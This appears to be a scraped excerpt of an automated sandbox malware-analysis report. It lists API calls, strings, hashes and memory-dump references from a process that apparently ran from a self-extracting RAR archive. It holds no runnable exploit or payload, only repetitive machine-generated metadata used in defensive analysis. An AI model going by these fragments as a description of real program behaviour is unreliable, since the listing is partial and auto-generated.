Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: dcea8ec9bccdc07bc14898d2a459c069e88443d31bfdb9d53ba51f87643b7f51
Instruction ID: d48269eb9468882003b028f284e6b2bdf351378b0e25e0724f40b919cd844fd9
Opcode Fuzzy Hash: dcea8ec9bccdc07bc14898d2a459c069e88443d31bfdb9d53ba51f87643b7f51
Instruction Fuzzy Hash: AEA012C51D81027C340611A09C02C77016CC0C4B10370650AB442A008054402D040030

Function 00E934C4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E93484

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 3d717751aba9947c4e3897bc0d16d700a49846fa6761f506cbcf4b90b8f0b1ac
Instruction ID: d48269eb9468882003b028f284e6b2bdf351378b0e25e0724f40b919cd844fd9
Opcode Fuzzy Hash: 3d717751aba9947c4e3897bc0d16d700a49846fa6761f506cbcf4b90b8f0b1ac
Instruction Fuzzy Hash: AEA012C51D81027C340611A09C02C77016CC0C4B10370650AB442A008054402D040030

Function 00E934BA Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E93484

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 2220b0602bb791766ce7483089b01035b8881f81b02abb967d4c91198a6d0250
Instruction ID: d48269eb9468882003b028f284e6b2bdf351378b0e25e0724f40b919cd844fd9
Opcode Fuzzy Hash: 2220b0602bb791766ce7483089b01035b8881f81b02abb967d4c91198a6d0250
Instruction Fuzzy Hash: AEA012C51D81027C340611A09C02C77016CC0C4B10370650AB442A008054402D040030

Function 00E93420 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E933D6

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: d3389fd39f0c1e5c4ba05019f55c52921d84d2de0a3797c986c2101e9579acfb
Instruction ID: 95c839b18ac01d577c159519e8fe7f9980cfff0d31a645e44fe2f2c0bedd3e14
Opcode Fuzzy Hash: d3389fd39f0c1e5c4ba05019f55c52921d84d2de0a3797c986c2101e9579acfb
Instruction Fuzzy Hash: 5AA002D51D91467D350451A19D46C77116CC4C4B51370795AB851A418158543D455031

Function 00E9340C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E933D6

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 4338a0bd24959ebbcd9d4bd27145c5c33770568ef50ff8d1a0d249e50d7663df
Instruction ID: 95c839b18ac01d577c159519e8fe7f9980cfff0d31a645e44fe2f2c0bedd3e14
Opcode Fuzzy Hash: 4338a0bd24959ebbcd9d4bd27145c5c33770568ef50ff8d1a0d249e50d7663df
Instruction Fuzzy Hash: 5AA002D51D91467D350451A19D46C77116CC4C4B51370795AB851A418158543D455031

Function 00E93416 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E933D6

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: 005ca88cc7167c8e9e0b05167b0c443bfa355350380c21b16d0d5d1fce4f8860
Instruction ID: 95c839b18ac01d577c159519e8fe7f9980cfff0d31a645e44fe2f2c0bedd3e14
Opcode Fuzzy Hash: 005ca88cc7167c8e9e0b05167b0c443bfa355350380c21b16d0d5d1fce4f8860
Instruction Fuzzy Hash: 5AA002D51D91467D350451A19D46C77116CC4C4B51370795AB851A418158543D455031

Function 00E934D3 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00E934DB

Part of subcall function 00E937B8: DloadAcquireSectionWriteAccess.DELAYIMP ref: 00E937C3
Part of subcall function 00E937B8: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00E9382B
Part of subcall function 00E937B8: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00E9383C

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: AccessDloadSectionWrite$AcquireExceptionHelper2@8LoadRaiseRelease___delay
String ID:
API String ID: 697777088-0
Opcode ID: d4b93f0ca20b8078a308710468281c8659df1cf62f0ed3b19c61e9a739034761
Instruction ID: 03f888f2cdae9d11c822a109c3dd9a7a45d92c227e383a2c0f8bee082c000a70
Opcode Fuzzy Hash: d4b93f0ca20b8078a308710468281c8659df1cf62f0ed3b19c61e9a739034761
Instruction Fuzzy Hash: EFA002EA2E92467D351862E1ED47C7F02BCC4C0F213B0A51FF800E41C2A8903D490031

Function 00E8FE24 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNEL32(?,00E8FFD0,C:\Users\user\AppData\Local\Temp\RarSFX0,00000000,00ECFA3A,00000006), ref: 00E8FE28

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: e6a02e12f558535e65611e21c0dcebf16c8a6b5f41671017c2e793cfd8d9c7c3
Instruction ID: 33465871c3257baf6576a398f79902faa9740f608fbe89f4582b37198f4aecae
Opcode Fuzzy Hash: e6a02e12f558535e65611e21c0dcebf16c8a6b5f41671017c2e793cfd8d9c7c3
Instruction Fuzzy Hash: 42A012302005008F92000B218F4550F75596F51600F00C025610580030CB308824A500

Non-executed Functions

Function 00E91260 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E811E6: GetDlgItem.USER32(00000000,00003021), ref: 00E8122A
Part of subcall function 00E811E6: SetWindowTextW.USER32(00000000,00EA8574), ref: 00E81240

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00E912F1
EndDialog.USER32(?,00000006), ref: 00E91304
GetDlgItem.USER32(?,0000006C), ref: 00E91320
SetFocus.USER32(00000000), ref: 00E91327
SetDlgItemTextW.USER32(?,00000065,?), ref: 00E91361
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00E91398
FindFirstFileW.KERNEL32(?,?), ref: 00E913AE
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00E913CC
FileTimeToSystemTime.KERNEL32(?,?), ref: 00E913DC
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00E913F8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00E91414
_swprintf.LIBCMT ref: 00E91444

Part of subcall function 00E839A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E839BC

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00E91457
FindClose.KERNEL32(00000000), ref: 00E9145E
_swprintf.LIBCMT ref: 00E914B7
SetDlgItemTextW.USER32(?,00000068,?), ref: 00E914CA
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00E914E7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00E91507
FileTimeToSystemTime.KERNEL32(?,?), ref: 00E91517
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00E91531
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00E91549
_swprintf.LIBCMT ref: 00E91575
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00E91588
_swprintf.LIBCMT ref: 00E915DC
SetDlgItemTextW.USER32(?,00000069,?), ref: 00E915EF

Part of subcall function 00E9006D: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00E90093
Part of subcall function 00E9006D: GetNumberFormatW.KERNEL32(00000400,00000000,?,00EB360C,?,?), ref: 00E900E2

Strings

%s %s, xrefs: 00E914A9, 00E915CE
REPLACEFILEDLG, xrefs: 00E91287
%s %s %s, xrefs: 00E91432, 00E91567

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: 3fbf932107f527d7b801b42ef245469d6037442d5e361d8776b626ff06f141a9
Instruction ID: 67c07be320351ec38b482a4b3ade9fa0ace0dbc1b0d604e3c8cb2cc6f11fbfcd
Opcode Fuzzy Hash: 3fbf932107f527d7b801b42ef245469d6037442d5e361d8776b626ff06f141a9
Instruction Fuzzy Hash: 3691DA72148349BFE721EBA0CD89FFB77ECEB4A704F011819F649E6181D771A6088762

Function 00E94561 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00E9456D
IsDebuggerPresent.KERNEL32 ref: 00E94639
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00E94659
UnhandledExceptionFilter.KERNEL32(?), ref: 00E94663

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: c36ba4c610c2fb58c0c05aa9385fb6c167c5529fdedfbf5b93b11954b393c759
Instruction ID: 4ff6476733e8867e0dd1a822bc1dcda9a6e5ddec79584ee759fb6171649e8b28
Opcode Fuzzy Hash: c36ba4c610c2fb58c0c05aa9385fb6c167c5529fdedfbf5b93b11954b393c759
Instruction Fuzzy Hash: 643108B5D053189BDF10DFA5D989BCDBBF8BF19304F1041AAE409A7290EB719A898F44

Function 00E84948 Relevance: 30.0, APIs: 12, Strings: 5, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00E8496E

Part of subcall function 00E839A9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00E839BC

Part of subcall function 00E87B46: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00E8498A,?,00000000,00000000,?,?,?,00E8498A,?,?,00000050), ref: 00E87B63

_strlen.LIBCMT ref: 00E8498F
SetDlgItemTextW.USER32(?,00EB3154,?), ref: 00E849EF
GetWindowRect.USER32(?,?), ref: 00E84A29
GetClientRect.USER32(?,?), ref: 00E84A35
GetWindowLongW.USER32(?,000000F0), ref: 00E84AD5
GetWindowRect.USER32(?,?), ref: 00E84B02
SetWindowTextW.USER32(?,?), ref: 00E84B3B
GetSystemMetrics.USER32(00000008), ref: 00E84B43
GetWindow.USER32(?,00000005), ref: 00E84B4E
GetWindowRect.USER32(00000000,?), ref: 00E84B7B
GetWindow.USER32(00000000,00000002), ref: 00E84BED

Strings

d, xrefs: 00E84A55
CAPTION, xrefs: 00E84B1D
1, xrefs: 00E84AF6, 00E84BE4
T1, xrefs: 00E849AA
$%s:, xrefs: 00E84962

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$T1$d$1
API String ID: 2407758923-2160731728
Opcode ID: a05ec43908c88b983ecda9bb4bc7174fb43c8a8003d8936adddb20ff8831b4bb
Instruction ID: a71257a66c38bbdb16dacc8684ece40cabc8e4ab2ae84a3f88f059610820e839
Opcode Fuzzy Hash: a05ec43908c88b983ecda9bb4bc7174fb43c8a8003d8936adddb20ff8831b4bb
Instruction Fuzzy Hash: A881D4B2104346AFD710EF69CD89E6BBBE8EBC8704F05151DF988E7291D630E9098B52

Function 00EA14A2 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00EA14E6

Part of subcall function 00EA1081: _free.LIBCMT ref: 00EA109E
Part of subcall function 00EA1081: _free.LIBCMT ref: 00EA10B0
Part of subcall function 00EA1081: _free.LIBCMT ref: 00EA10C2
Part of subcall function 00EA1081: _free.LIBCMT ref: 00EA10D4
Part of subcall function 00EA1081: _free.LIBCMT ref: 00EA10E6
Part of subcall function 00EA1081: _free.LIBCMT ref: 00EA10F8
Part of subcall function 00EA1081: _free.LIBCMT ref: 00EA110A
Part of subcall function 00EA1081: _free.LIBCMT ref: 00EA111C
Part of subcall function 00EA1081: _free.LIBCMT ref: 00EA112E
Part of subcall function 00EA1081: _free.LIBCMT ref: 00EA1140
Part of subcall function 00EA1081: _free.LIBCMT ref: 00EA1152
Part of subcall function 00EA1081: _free.LIBCMT ref: 00EA1164
Part of subcall function 00EA1081: _free.LIBCMT ref: 00EA1176

_free.LIBCMT ref: 00EA14DB

Part of subcall function 00E9D758: RtlFreeHeap.NTDLL(00000000,00000000,?,00EA1216,?,00000000,?,00000000,?,00EA123D,?,00000007,?,?,00EA163A,?), ref: 00E9D76E
Part of subcall function 00E9D758: GetLastError.KERNEL32(?,?,00EA1216,?,00000000,?,00000000,?,00EA123D,?,00000007,?,?,00EA163A,?,?), ref: 00E9D780

_free.LIBCMT ref: 00EA14FD
_free.LIBCMT ref: 00EA1512
_free.LIBCMT ref: 00EA151D
_free.LIBCMT ref: 00EA153F
_free.LIBCMT ref: 00EA1552
_free.LIBCMT ref: 00EA1560
_free.LIBCMT ref: 00EA156B
_free.LIBCMT ref: 00EA15A3
_free.LIBCMT ref: 00EA15AA
_free.LIBCMT ref: 00EA15C7
_free.LIBCMT ref: 00EA15DF

Strings

p=, xrefs: 00EA14B8
88, xrefs: 00EA158E

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: 88$p=
API String ID: 161543041-980160608
Opcode ID: 41c206516c153a6a000cf2e18b8a35cf43fa01cf26cbc81bc953dd5209e34a83
Instruction ID: 57b23850acaa836295a27b2cd999342f4bef34472557f9bc81d67850d81c73cb
Opcode Fuzzy Hash: 41c206516c153a6a000cf2e18b8a35cf43fa01cf26cbc81bc953dd5209e34a83
Instruction Fuzzy Hash: 54316F71A086449FDF20AAB8DC45B9AB3E9EF46314F14649AE459FB191DF30FD80CB11

Function 00E8E931 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00E8E956
_wcslen.LIBCMT ref: 00E8E9F6
GlobalAlloc.KERNEL32(00000040,?), ref: 00E8EA05
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00E8EA26
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00E8EA4D

Strings

</html>, xrefs: 00E8E9D7
<html>, xrefs: 00E8E975, 00E8E9AE
utf-8"></head>, xrefs: 00E8E98B
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00E8E980

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Global_wcslen$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1777411235-4209811716
Opcode ID: 5fce3b07afdf8713464113574e2173f27a526101e563659926b045bac0a975ba
Instruction ID: 8bbc9948a5d8eed713563fdcbb2f7fcd241c153c6d60d68c58d1b8d93a9d97c8
Opcode Fuzzy Hash: 5fce3b07afdf8713464113574e2173f27a526101e563659926b045bac0a975ba
Instruction Fuzzy Hash: D53127721043017FEB28BB749C46F6F779CAF86714F24205EF509B62D2EB64A90883A5

Function 00E926DE Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00E92701
GetClassNameW.USER32(00000000,?,00000800), ref: 00E9272D

Part of subcall function 00E87D24: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,?,000000FF,00E82FEC,?,?,?,00E82F99,?,-00000002,?,00000000,?), ref: 00E87D3A

GetWindowLongW.USER32(00000000,000000F0), ref: 00E92749
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00E92760
GetObjectW.GDI32(00000000,00000018,?), ref: 00E92774
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00E9279D
DeleteObject.GDI32(00000000), ref: 00E927A4
GetWindow.USER32(00000000,00000002), ref: 00E927AD

Strings

STATIC, xrefs: 00E92733

Memory Dump Source

Source File: 00000004.00000002.2106014316.0000000000E81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000004.00000002.2105997104.0000000000E80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106038444.0000000000EA8000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106054072.0000000000EE8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2106134748.0000000000EE9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e80000_a.jbxd

Yara matches

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
